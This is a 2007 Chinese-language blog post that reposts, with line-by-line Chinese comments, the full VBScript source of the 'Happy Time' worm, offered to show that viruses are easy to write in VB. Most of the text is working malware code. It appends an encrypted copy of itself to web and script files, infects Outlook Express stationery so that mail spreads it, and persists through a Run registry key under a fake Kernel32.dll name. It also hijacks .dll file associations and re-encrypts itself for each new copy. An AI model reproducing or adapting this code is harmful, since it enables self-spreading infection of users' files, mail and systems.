• VB写病毒,不过如此!

    2007-03-25

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://www.blogbus.com/liuyanghejerry-logs/4855696.html

    前段时间有个朋友说VB的限制很多,于是写起病毒来颇为费力,闲逛一段时间后找到了一个VB写的病毒,名曰:新快乐时光。这里把它的源码帖出来,大家一起看看,它并不难。

     

    以下内容是从中国VB网中得到:

    Dim
          InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk

          Sub KJ_start()
          ' 初始化变量
          KJSetDim()
          ' 初始化环境
          KJCreateMilieu()
          ' 感染本地或者共享上与html所在目录
          KJLikeIt()
          ' 通过vbs感染Outlook邮件模板
          KJCreateMail()
          ' 进行病毒传播
          KJPropagate()
          End Sub
          ' 函数:KJAppendTo(FilePath,TypeStr)
          ' 功能:向指定类型的指定文件追加病毒
          ' 参数:
          ' FilePath 指定文件路径
          ' TypeStr 指定类型
          Function KJAppendTo(FilePath,TypeStr)
          On Error Resume Next
          ' 以只读方式打开指定文件
          Set ReadTemp = FSO.OpenTextFile(FilePath,1)
          ' 将文件内容读入到TmpStr变量中
          TmpStr = ReadTemp.ReadAll
          ' 判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;
          ' 若文件长度小于1,也退出函数。
          If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
          ReadTemp.Close
          Exit Function
          End If
          ' 如果传过来的类型是"htt"
          ' 在文件头加上调用页面的时候加载KJ_start()函数;
          ' 在文件尾追加html版本的加密病毒体。
          ' 如果是"html"
          ' 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
          ' 如果是"vbs"
          ' 在文件尾追加vbs版本的病毒体
          If TypeStr = "htt" Then
          ReadTemp.Close
          Set FileTemp = FSO.OpenTextFile(FilePath,2)
          FileTemp.Write "<" & "BODY onload="""
          & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText

          FileTemp.Close
          Set FAttrib = FSO.GetFile(FilePath)
          FAttrib.attributes = 34
          Else
          ReadTemp.Close
          Set FileTemp = FSO.OpenTextFile(FilePath,8)
          If TypeStr = "html" Then
          FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<"
          & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf &
          HtmlText
          ElseIf TypeStr = "vbs" Then
          FileTemp.Write vbCrLf & VbsText
          End If
          FileTemp.Close
          End If
          End Function
          ' 函数:KJChangeSub(CurrentString,LastIndexChar)
          ' 功能:改变子目录以及盘符
          ' 参数:
          ' CurrentString 当前目录
          ' LastIndexChar 上一级目录在当前路径中的位置
          Function KJChangeSub(CurrentString,LastIndexChar)
          ' 判断是否是根目录
          If LastIndexChar = 0 Then
          ' 如果是根目录
          ' 如果是C:\,返回FinalyDisk盘,并将SubE置为0,
          ' 如果不是C:\,返回将当前盘符递减1,并将SubE置为0
          If Left(LCase(CurrentString),1) =< LCase("c") Then
          KJChangeSub = FinalyDisk & ":\"
          SubE = 0
          Else
          KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
          SubE = 0
          End If
          Else
          ' 如果不是根目录,则返回上一级目录名称
          KJChangeSub = Mid(CurrentString,1,LastIndexChar)
          End If
          End Function
          ' 函数:KJCreateMail()
          ' 功能:感染邮件部分
          Function KJCreateMail()
          On Error Resume Next
          ' 如果当前执行文件是"html"的,就退出函数
          If InWhere = "html" Then
          Exit Function
          End If
          ' 取系统盘的空白页的路径
          ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft
          Shared\Stationery\blank.htm"
          ' 如果存在这个文件,就向其追加html的病毒体
          ' 否则生成含有病毒体的这个文件
          If (FSO.FileExists(ShareFile)) Then
          Call KJAppendTo(ShareFile,"html")
          Else
          Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
          FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" &
          "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
          FileTemp.Close
          End If
          ' 取得当前用户的ID和OutLook的版本
          DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User
          ID")
          OutLookVersion =
          WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook
          Express\MediaVer")
          ' 激活信纸功能,并感染所有信纸
          WsShell.RegWrite
          "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook
          Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use
          Stationery",1,"REG_DWORD"
          Call
          KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook
          Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
          Call
          KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook
          Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery
          Name",ShareFile)
          WsShell.RegWrite
          "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

          Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging
          Subsystem\Profiles\Microsoft Outlook Internet
          Settings\0a0d020000000000c000000000000046\001e0360","blank")
          Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows
          NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook
          Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
          WsShell.RegWrite
          "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

          Call
          KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")

          KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft
          Shared\Stationery")
          End Function

          ' 函数:KJCreateMilieu()
          ' 功能:创建系统环境
          Function KJCreateMilieu()
          On Error Resume Next
          TempPath = ""
          ' 判断操作系统是NT/2000还是9X
          If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
          TempPath = "system32\"
          End If
          ' 为了文件名起到迷惑性,并且不会与系统文件冲突。
          ' 如果是NT/2000则启动文件为system\Kernel32.dll
          ' 如果是9x启动文件则为system\Kernel.dll
          If TempPath = "system32\" Then
          StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
          Else
          StartUpFile = WinPath & "SYSTEM\Kernel.dll"
          End If
          ' 添加Run值,添加刚才生成的启动文件路径
          WsShell.RegWrite
          "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile

          ' 拷贝前期备份的文件到原来的目录
          FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
          FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath &
          "system32\desktop.ini"
          ' 向%windir%\web\Folder.htt追加病毒体
          Call KJAppendTo(WinPath & "web\Folder.htt","htt")
          ' 改变dll的MIME头
          ' 改变dll的默认图标
          ' 改变dll的打开方式
          WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
          WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content
          Type","application/x-msdownload"
          WsShell.RegWrite
          "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")

          WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
          WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath &
          TempPath & "WScript.exe ""%1"" %*"
          WsShell.RegWrite
          "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"

          WsShell.RegWrite
          "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"

          ' 启动时加载的病毒文件中写入病毒体
          Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
          FileTemp.Write VbsText
          FileTemp.Close
          End Function
          ' 函数:KJLikeIt()
          ' 功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
          Function KJLikeIt()
          ' 如果当前执行文件不是"html"的就退出程序
          If InWhere <> "html" Then
          Exit Function
          End If
          ' 取得文档当前路径
          ThisLocation = document.location
          ' 如果是本地或网上共享文件
          If Left(ThisLocation, 4) = "file" Then
          ThisLocation = Mid(ThisLocation,9)
          ' 如果这个文件扩展名不为空,在ThisLocation中保存它的路径
          If FSO.GetExtensionName(ThisLocation) <> "" then
          ThisLocation = Left(ThisLocation,Len(ThisLocation) -
          Len(FSO.GetFileName(ThisLocation)))
          End If
          ' 如果ThisLocation的长度大于3就尾追一个"\"
          If Len(ThisLocation) > 3 Then
          ThisLocation = ThisLocation & "\"
          End If
          ' 感染这个目录
          KJummageFolder(ThisLocation)
          End If
          End Function
          ' 函数:KJMailReg(RegStr,FileName)
          ' 功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
          ' 参数:
          ' RegStr 注册表指定键值
          ' FileName 指定文件名
          Function KJMailReg(RegStr,FileName)
          On Error Resume Next
          ' 如果注册表指定键值不存在,则向指定位置写入指定文件名
          RegTempStr = WsShell.RegRead(RegStr)
          If RegTempStr = "" Then
          WsShell.RegWrite RegStr,FileName
          End If
          End Function
          ' 函数:KJOboSub(CurrentString)
          ' 功能:遍历并返回目录路径
          ' 参数:
          ' CurrentString 当前目录
          Function KJOboSub(CurrentString)
          SubE = 0
          TestOut = 0
          Do While True
          TestOut = TestOut + 1
          If TestOut > 28 Then
          CurrentString = FinalyDisk & ":\"
          Exit Do
          End If
          On Error Resume Next
          ' 取得当前目录的所有子目录,并且放到字典中
          Set ThisFolder = FSO.GetFolder(CurrentString)
          Set DicSub = CreateObject("Scripting.Dictionary")
          Set Folders = ThisFolder.SubFolders
          FolderCount = 0
          For Each TempFolder in Folders
          FolderCount = FolderCount + 1
          DicSub.add FolderCount, TempFolder.Name
          Next
          ' 如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1
          If DicSub.Count = 0 Then
          LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
          SubString =
          Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
          CurrentString = KJChangeSub(CurrentString,LastIndexChar)
          SubE = 1
          Else
          ' 如果存在子目录
          ' 如果SubE为0,则将CurrentString变为它的第1个子目录
          If SubE = 0 Then
          CurrentString = CurrentString & DicSub.Item(1) & "\"
          Exit Do
          Else
          ' 如果SubE为1,继续遍历子目录,并将下一个子目录返回
          j = 0
          For j = 1 To FolderCount
          If LCase(SubString) = LCase(DicSub.Item(j)) Then
          If j < FolderCount Then
          CurrentString = CurrentString & DicSub.Item(j+1) & "\"
          Exit Do
          End If
          End If
          Next
          LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
          SubString =
          Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
          CurrentString = KJChangeSub(CurrentString,LastIndexChar)
          End If
          End If
          Loop
          KJOboSub = CurrentString
          End Function
          ' 函数:KJPropagate()
          ' 功能:病毒传播
          Function KJPropagate()
          On Error Resume Next
          RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook
          Express\Degree"
          DiskDegree = WsShell.RegRead(RegPathvalue)
          ' 如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘
          If DiskDegree = "" Then
          DiskDegree = FinalyDisk & ":\"
          End If
          ' 继DiskDegree置后感染5个目录
          For i=1 to 5
          DiskDegree = KJOboSub(DiskDegree)
          KJummageFolder(DiskDegree)
          Next
          ' 将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook
          Express\Degree"键值中
          WsShell.RegWrite RegPathvalue,DiskDegree
          End Function
          ' 函数:KJummageFolder(PathName)
          ' 功能:感染指定目录
          ' 参数:
          ' PathName 指定目录
          Function KJummageFolder(PathName)
          On Error Resume Next
          ' 取得目录中的所有文件集
          Set FolderName = FSO.GetFolder(PathName)
          Set ThisFiles = FolderName.Files
          HttExists = 0
          For Each ThisFile In ThisFiles
          FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
          ' 判断扩展名
          ' 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
          ' 若是VBS则向文件中追加VBS版的病毒体
          ' 若是HTT,则标志为已经存在HTT了
          If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt =
          "PHP" Or FileExt = "JSP" Then
          Call KJAppendTo(ThisFile.Path,"html")
          ElseIf FileExt = "VBS" Then
          Call KJAppendTo(ThisFile.Path,"vbs")
          ElseIf FileExt = "HTT" Then
          HttExists = 1
          End If
          Next
          ' 如果所给的路径是桌面,则标志为已经存在HTT了
          If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) =
          UCase(WinPath & "Desktop"))Then
          HttExists = 1
          End If
          ' 如果不存在HTT
          ' 向目录中追加病毒体
          If HttExists = 0 Then
          FSO.CopyFile WinPath & "system32\desktop.ini",PathName
          FSO.CopyFile WinPath & "web\Folder.htt",PathName
          End If
          End Function
          ' 函数KJSetDim()
          ' 定义FSO,WsShell对象
          ' 取得最后一个可用磁盘卷标
          ' 生成传染用的加密字串
          ' 备份系统中的web\folder.htt和system32\desktop.ini
          Function KJSetDim()
          On Error Resume Next
          Err.Clear
          ' 测试当前执行文件是html还是vbs
          TestIt = WScript.ScriptFullname
          If Err Then
          InWhere = "html"
          Else
          InWhere = "vbs"
          End If
          ' 创建文件访问对象和Shell对象
          If InWhere = "vbs" Then
          Set FSO = CreateObject("Scripting.FileSystemObject")
          Set WsShell = CreateObject("WScript.Shell")
          Else
          Set AppleObject = document.applets("KJ_guest")
          AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
          AppleObject.createInstance()
          Set WsShell = AppleObject.GetObject()
          AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
          AppleObject.createInstance()
          Set FSO = AppleObject.GetObject()
          End If
          Set DiskObject = FSO.Drives
          ' 判断磁盘类型
          '
          ' 0: Unknown
          ' 1: Removable
          ' 2: Fixed
          ' 3: Network
          ' 4: CD-ROM
          ' 5: RAM Disk
          ' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM
          Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?
          For Each DiskTemp In DiskObject
          If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
          Exit For
          End If
          FinalyDisk = DiskTemp.DriveLetter
          Next
          ' 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。
          ' 加密算法
          Dim OtherArr(3)
          Randomize
          ' 随机生成4个算子
          For i=0 To 3
          OtherArr(i) = Int((9 * Rnd))
          Next
          TempString = ""
          For i=1 To Len(ThisText)
          TempNum = Asc(Mid(ThisText,i,1))
          '对回车、换行(0x0D,0x0A)做特别的处理
          If TempNum = 13 Then
          TempNum = 28
          ElseIf TempNum = 10 Then
          TempNum = 29
          End If
          '很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
          TempChar = Chr(TempNum - OtherArr(i Mod 4))
          If TempChar = Chr(34) Then
          TempChar = Chr(18)
          End If
          TempString = TempString & TempChar
          Next
          ' 含有解密算法的字串
          UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " &
          OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) &
          """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " &
          OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum =
          Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum
          = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod
          4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar =
          vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar =
          vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText &
          TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
          ' 将加密好的病毒体复制给变量 ThisText
          ThisText = "ExeString = """ & TempString & """"
          ' 生成html感染用的脚本
          HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " &
          """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px;
          height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET
          NAME=KJ""&""_guest HEIGHT=0 WIDTH=0
          code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<"
          & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script
          language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf &
          "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
          ' 生成vbs感染用的脚本
          VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
          ' 取得Windows目录
          ' GetSpecialFolder(n)
          ' 0: WindowsFolder
          ' 1: SystemFolder
          ' 2: TemporaryFolder
          ' 如果系统目录存在web\Folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。
          WinPath = FSO.GetSpecialFolder(0) & "\"
          If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
          FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"
          End If
          If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
          FSO.CopyFile WinPath & "system32\desktop.ini",WinPath &
          "system32\kjwall.gif"
          End If
          End Function
    至此就算完毕,从中不难看出,VB所写的病毒对API函数依赖性很强,换句话说,VB写病毒不过是训练你VB调API的熟练程度罢了。

    分享到: